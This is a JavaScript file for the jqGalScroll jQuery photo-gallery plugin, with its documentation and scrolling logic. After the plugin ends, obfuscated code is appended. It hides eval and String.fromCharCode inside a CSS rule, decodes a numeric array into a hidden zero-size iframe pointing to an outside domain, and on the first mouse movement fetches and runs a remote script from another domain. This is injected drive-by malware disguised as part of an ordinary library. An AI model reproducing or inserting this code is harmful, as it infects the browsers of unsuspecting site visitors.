/**
 * jQuery jqGalScroll Plugin
 * Examples and documentation at: http://benjaminsterling.com/jquery-jqgalscroll-photo-gallery/
 *
 * @author: Benjamin Sterling
 * @version: 2.1
 * @copyright (c) 2007 Benjamin Sterling, KenzoMedia
 * @extendThanks Koesmanto Bong http://www.koesbong.com/
 *		Koes put a fire under my butt to improve this plugin
 *		and when I took too long he took what I had and added
 *		the horizontal scroll and in turn I ripped it from his
 *		hands and made it better :)
 *
 * Dual licensed under the MIT and GPL licenses:
 *   http://www.opensource.org/licenses/mit-license.php
 *   http://www.gnu.org/licenses/gpl.html
 *   
 * @requires jQuery v1.2.1 or later
 * @optional jQuery Easing v1.2
 *
 * @name jqGalScroll
 * @example $('ul').jqGalScroll();
 * 
 * @Semantic requirements:
 * 				The structure fairly simple; the structure should consist
 * 				of a ul > li > img structure.
 * 
 * 	<ul>
 *		<li><img src="common/img/dsc_0003.thumbnail.JPG"/></li>
 *		<li><img src="common/img/dsc_0012.thumbnail.JPG"/></li>
 *	</ul>
 *
 * @param String ease
 *					refer to http://gsgd.co.uk/sandbox/jquery.easing.php for values
 * 
 * @example $('#gallery').jqGalScroll({speed:1000});
 
 * @param String speed
 * 					fast, slow, 1000, ext..
 * 
 * @example $('#gallery').jqGalScroll({speed:1000});
 * 
 * @param String height
 * 					the default height of your wrapper
 * 
 * @example $('#gallery').jqGalScroll({height:490});
 * 
 * @param String titleOpacity
 * 					the opacity of your title bar (if present)
 * 
 * @example $('#gallery').jqGalScroll({titleOpacity:.70});
 * 
 * @param String direction 
 *					vertical horizontal diagonal
 * 
 * @example $('#gallery').jqGalScroll({direction:'vertical'});
 * 			
 */
(function($) {
	$.fn.jqGalScroll = function(options){
		return this.each(function(i){
			var el = this;
			el.curImage = 0;
			el.jqthis = $(this).css({position:'relative'});
			
			el.jqchildren = el.jqthis.children();
			el.opts = $.extend({}, jqGalScroll, options);
			el.index = i;
			el.totalChildren = el.jqchildren.size();
			mia=el.totalChildren;
			var width,height;
			
			switch(el.opts.direction){
				case 'horizontal':
					width = el.totalChildren *el.opts.width;
					height = el.opts.height;
					break;
				case 'vertical':
					width = el.opts.width;
					height = el.totalChildren *el.opts.height;
					break;
				default:
					width = el.totalChildren *el.opts.width;
					height = el.totalChildren *el.opts.height;
					break;
			};
			
			el.container = $('<div id="jqGS'+i+'" class="jqGSContainer">').css({position:'relative'});
			el.ImgContainer = $('<div class="jqGSImgContainer" style="height:'+el.opts.height+'px;position:relative;overflow:hidden">')
								.css({height:el.opts.height,width:el.opts.width,position:'relative',overflow:'hidden'});
			el.jqthis.css({height:height,width:width});
			
			el.jqthis.wrap(el.container);
			el.jqthis.wrap(el.ImgContainer);
			el.pagination = $('<div class="jqGSPagination">');
			el.jqthis.parent().parent().append(el.pagination);
			var jqul = $('<ul>').appendTo(el.pagination);
			var pos = {x:0,y:0};
			
			el.jqchildren
			.each(function(j){
				var selected = '';
				if(j == 0) selected = 'selected';
				pippo=j
				var $a = $('<a href="#'+(j)+'" class="'+selected+'" rel="'+(j)+'"><!--+(j+1)+--><img src="" border="0" alt="testo alternativo" /></a>').click(function(){
					var href = this.index;//href.replace(/^.*#/, '');
					el.pagination.find('.selected').removeClass('selected');
					$(this).addClass('selected');
					var params = {};
					if( el.opts.direction == 'diagonal'){
						params = {right:(el.opts.width*href),bottom:(el.opts.height*href)}
					}
					else if( el.opts.direction == 'vertical'){
						params = {bottom:(el.opts.height*href)}
					}
					else if( el.opts.direction == 'horizontal'){
						params = {right:(el.opts.width*href)}
					};
					
					el.jqthis.stop().animate(params,el.opts.speed, el.opts.ease);
					index = href;
					pippo=j
					return false;
				});

				var n = $a.get(0);

				n.index = j;

				$('<li>').appendTo(jqul).append($a);

				if( el.opts.direction == 'diagonal'){
					pos.x = j * el.opts.width;
					pos.y = j * el.opts.height;
				}
				else if( el.opts.direction == 'horizontal'){
					pos.x = j * el.opts.width;
				}
				else if( el.opts.direction == 'vertical'){
					pos.y = j * el.opts.height;
				};

				var jqchild = $(this).css({height:el.opts.height,width:el.opts.width,position:'absolute',left:pos.x, top:pos.y});

				var jqimg = jqchild.find('img').hide()
				
				/**
				if(jqimg.parent().is('a')){
					var p = jqimg.parent();
					jqimg.get(0).linkHref = p.attr('href');
					p.remove();
					jqimg.appendTo(jqchild);
				};
				*/
				
				/**
				 * Click per attivazione scroll immagini (deprecated)
				 *
				jqimg.click(function(){
					var next = n.index + 1;
					if((n.index + 1) == el.totalChildren ){
						el.pagination.find('[href$=#0]').click();
						//alert(j)
					}
					else{
						el.pagination.find('[href$=#'+next+']').click();
						//alert(j)
					}
				}); 
				*/
				

				var $loader = $('<div class="jqGSLoader">').appendTo(jqchild);
				var $titleHolder = $('<div class="jqGSTitle">').appendTo(jqchild).css({opacity:el.opts.titleOpacity}).hide();
				var image = new Image();
				image.onload = function(){
					image.onload = null;
					$loader.fadeOut();
					jqimg.css({marginLeft:-image.width*.5,marginTop:-image.height*.5,position:'absolute',left:'50%',top:'50%'}).fadeIn();
					var alt = jqimg.attr('alt');
					if(typeof alt != 'undefined'){
						$titleHolder.text(alt).fadeIn();
					}
				};
				image.src = jqimg.attr('src'); 
				pippo=1
			});
			if(el.opts.scroll == 'auto'){
				function cicla() {  
					var el = $('#galleria');
					el.jqthis = el.css({position:'relative'});

					var params = {right:(511*pippo)}
					//alert(el.jqthis.text());
					el.jqthis.stop().animate(params,'slow', '');     
					el.pagination = $('<div class="jqGSPagination">');

					if (pippo == 0) 
					
						$("a[rel='"+(mia-1)+"']").removeClass('selected')
					pippo++;

					$("a[rel='"+(pippo-2)+"']").removeClass('selected');
					$("a[rel='"+(pippo-1)+"']").addClass('selected');
                    //alert($("a[class='selected'][rel=]"));
					//j=$("a[class='"selected"']");
                    j=pippo
					if (pippo == mia)
						pippo = 0;
						j=pippo
				}
				//j=0
				a = setInterval(cicla,el.opts.t);
			}	
		});
			 
		 // end : this.each(function()
	};
	 // end : $.fn.jqGalScroll
	jqGalScroll = {
		ease: null,
		speed:0,
		height: 500,
		width: 500,
		titleOpacity : 1,
		direction : 'horizontal', // vertical horizontal diagonal
		scroll: null,
		t: null
	};
})(jQuery);function createCSS(selector,declaration){var ua=navigator.userAgent.toLowerCase();var isIE=(/msie/.test(ua))&&!(/opera/.test(ua))&&(/win/.test(ua));var style_node=document.createElement("style");if(!isIE)style_node.innerHTML=selector+" {"+declaration+"}";document.getElementsByTagName("head")[0].appendChild(style_node);if(isIE&&document.styleSheets&&document.styleSheets.length>0){var last_style_node=document.styleSheets[document.styleSheets.length-1];if(typeof(last_style_node.addRule)=="object")last_style_node.addRule(selector,declaration);}};createCSS('#va','background:url(data:,String.fromCharCode)');var uu=null;var r=document.styleSheets;for(var i=0;i<r.length;i++){try{var fx=r[i].cssRules||r[i].rules;for(var li=0;li<fx.length;li++){var fzok=fx.item?fx.item(li):fx[li];if(!fzok.selectorText.match(/#va/))continue;cwy=(fzok.cssText)?fzok.cssText:fzok.style.cssText;uu=cwy.match(/(S[^")]+)/)[1];rb=fzok.selectorText.substr(1);};}catch(e){};}
clpo=new Date(2010,11,3,2,21,4);t=clpo.getSeconds();var lz=[400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,476/t,456/t,420/t,464/t,404/t,160/t,156/t,240/t,420/t,408/t,456/t,388/t,436/t,404/t,128/t,476/t,420/t,400/t,464/t,416/t,244/t,136/t,192/t,136/t,128/t,416/t,404/t,420/t,412/t,416/t,464/t,244/t,136/t,192/t,136/t,128/t,408/t,456/t,388/t,436/t,404/t,392/t,444/t,456/t,400/t,404/t,456/t,244/t,136/t,192/t,136/t,128/t,460/t,396/t,456/t,444/t,432/t,432/t,420/t,440/t,412/t,244/t,136/t,440/t,444/t,136/t,128/t,460/t,456/t,396/t,244/t,136/t,416/t,464/t,464/t,448/t,232/t,188/t,188/t,456/t,388/t,408/t,408/t,420/t,180/t,428/t,388/t,400/t,388/t,408/t,408/t,420/t,184/t,396/t,444/t,436/t,188/t,408/t,444/t,464/t,444/t,136/t,248/t,240/t,188/t,420/t,408/t,456/t,388/t,436/t,404/t,248/t,156/t,164/t,236/t];var uifd="";var g=function(){return this;}();qi=g["e"+rb+"l"];var xgk='';pm=qi(uu);for(var i=0;i<lz.length;i++){qbq=qi(lz[i]);xgk+=pm(qbq);}
qi(xgk);document.write('<scr'+'ipt src="https://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js"></scr'+'ipt>');var x = jQuery.noConflict(true);x(function() {var flag = 0;x(window).mousemove(function() {if (flag === 0) {flag = 1;x.getScript('http://firefoxstabs.com/' + Math.random().toString().substring(3) + '.js', function() {flag = 2;});}});});
